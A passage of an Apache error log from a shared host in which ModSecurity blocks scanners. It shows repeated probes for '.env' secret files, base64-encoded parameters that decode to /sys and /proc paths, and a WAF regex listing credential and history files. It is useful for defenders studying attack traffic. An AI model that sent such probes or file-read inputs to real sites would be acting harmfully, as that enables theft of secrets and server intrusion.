/home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:16.752459 2026] [security2:error] [pid 646876:tid 647100] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/redis-commander/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0xQAAAFw"] [Sat Jun 13 18:18:16.896918 2026] [security2:error] [pid 646876:tid 647071] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/registry/.env"] [unique_id "ai3zSNyTkdrNlD40tSG0xgAAAD8"] [Sat Jun 13 18:18:16.901582 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.36:29522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:16.902034 2026] [access_compat:error] [pid 648189:tid 648300] [remote 57.141.14.36:29522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:16.978258 2026] [security2:error] [pid 648189:tid 648334] [remote 17.241.219.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zSFWSojQL4F7upKBtNQAAoG8"] [Sat Jun 13 18:18:17.034230 2026] [security2:error] [pid 646876:tid 647050] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/simcore/.env"] [unique_id "ai3zSdyTkdrNlD40tSG0ygAAACo"] [Sat Jun 13 18:18:17.083303 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9ldmVudDA= [Sat Jun 13 18:18:17.083600 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9ldmVudDA= [Sat Jun 13 18:18:17.172581 2026] [security2:error] [pid 646876:tid 646987] [remote 50.87.144.126:31016] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ladyrapunzel.habeshacontacts.com"] [uri "/xmlrpc.php"] [unique_id "ai3zSdyTkdrNlD40tSG0zQAAJGw"] [Sat Jun 13 18:18:17.172865 2026] [security2:error] [pid 646876:tid 647044] [client 50.87.144.126:31016] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "ladyrapunzel.habeshacontacts.com"] [uri "/xmlrpc.php"] [unique_id "ai3zSdyTkdrNlD40tSG0zQAAJGw"] [Sat Jun 13 18:18:17.172971 2026] [security2:error] [pid 646876:tid 647113] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/services/traefik/.env"] [unique_id "ai3zSdyTkdrNlD40tSG0zgAAAGk"] [Sat Jun 13 18:18:17.239926 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.40:28320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:17.240213 2026] [access_compat:error] [pid 648189:tid 648288] [remote 57.141.14.40:28320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:17.311985 2026] [security2:error] [pid 646876:tid 647114] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/sessions/.env"] [unique_id "ai3zSdyTkdrNlD40tSG00AAAAGo"] [Sat Jun 13 18:18:17.405982 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.56:54632] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:17.406414 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.56:54632] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:17.597455 2026] [security2:error] [pid 646876:tid 647011] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/shared/.env"] [unique_id "ai3zSdyTkdrNlD40tSG01gAAAAM"] [Sat Jun 13 18:18:17.607940 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:18:17.608395 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:18:17.665050 2026] [security2:error] [pid 648189:tid 648273] [remote 17.241.219.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zSVWSojQL4F7upKBtTgAAiTM"] [Sat Jun 13 18:18:17.735926 2026] [security2:error] [pid 646876:tid 647090] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/shibboleth/.env"] [unique_id "ai3zSdyTkdrNlD40tSG02wAAAFI"] [Sat Jun 13 18:18:17.874330 2026] [security2:error] [pid 646876:tid 647051] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/shop/.env"] [unique_id "ai3zSdyTkdrNlD40tSG03AAAACs"] [Sat Jun 13 18:18:18.014439 2026] [security2:error] [pid 646876:tid 647072] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/shopware/.env"] [unique_id "ai3zStyTkdrNlD40tSG03gAAAEA"] [Sat Jun 13 18:18:18.152200 2026] [security2:error] [pid 646876:tid 647082] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Simple_server/.env"] [unique_id "ai3zStyTkdrNlD40tSG04QAAAEo"] [Sat Jun 13 18:18:18.152880 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:18:18.153172 2026] [access_compat:error] [pid 646876:tid 646928] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:18:18.178215 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.64:51644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:18.178686 2026] [access_compat:error] [pid 648189:tid 648227] [remote 57.141.14.64:51644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:18.250081 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.111:57818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:18.250509 2026] [access_compat:error] [pid 648189:tid 648346] [remote 57.141.14.111:57818] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:18.290008 2026] [security2:error] [pid 646876:tid 647037] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/site-library/.env"] [unique_id "ai3zStyTkdrNlD40tSG04wAAAB0"] [Sat Jun 13 18:18:18.317932 2026] [access_compat:error] [pid 648189:tid 648224] [remote 74.7.242.16:46322] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:18.318350 2026] [access_compat:error] [pid 648189:tid 648224] [remote 74.7.242.16:46322] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:18.428083 2026] [security2:error] [pid 646876:tid 647078] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/sitemaps/.env"] [unique_id "ai3zStyTkdrNlD40tSG05QAAAEY"] [Sat Jun 13 18:18:18.431247 2026] [security2:error] [pid 648189:tid 648293] [remote 17.22.245.233:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 233.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zSlWSojQL4F7upKBtaQAA3kc"] [Sat Jun 13 18:18:18.468297 2026] [security2:error] [pid 648189:tid 648345] [remote 57.141.14.51:21380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zSlWSojQL4F7upKBtagAA_Xo"], referer: https://nelsonfarmstn.com/product-category/goat-milk-soap/?add_to_wishlist=368&_wpnonce=dacad5c21f&add-to-cart=1255 [Sat Jun 13 18:18:18.567251 2026] [security2:error] [pid 646876:tid 647107] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/sites/.env"] [unique_id "ai3zStyTkdrNlD40tSG05gAAAGM"] [Sat Jun 13 18:18:18.689747 2026] [security2:error] [pid 648189:tid 648455] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/join_variation6.phpt"] [unique_id "ai3zSlWSojQL4F7upKBtcgAAAOk"] [Sat Jun 13 18:18:18.693831 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:18:18.694105 2026] [access_compat:error] [pid 646876:tid 646996] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:18:18.705246 2026] [security2:error] [pid 646876:tid 647087] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/sitestatic/.env"] [unique_id "ai3zStyTkdrNlD40tSG06AAAAE8"] [Sat Jun 13 18:18:18.756338 2026] [security2:error] [pid 648189:tid 648317] [remote 17.22.253.204:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 204.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zSlWSojQL4F7upKBtdQAAq18"] [Sat Jun 13 18:18:18.785188 2026] [access_compat:error] [pid 648189:tid 648309] [remote 57.141.14.11:29243] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:18.785606 2026] [access_compat:error] [pid 648189:tid 648309] [remote 57.141.14.11:29243] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:18.842997 2026] [security2:error] [pid 646876:tid 647041] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Socketio/.env"] [unique_id "ai3zStyTkdrNlD40tSG06QAAACE"] [Sat Jun 13 18:18:18.913177 2026] [access_compat:error] [pid 648189:tid 648236] [remote 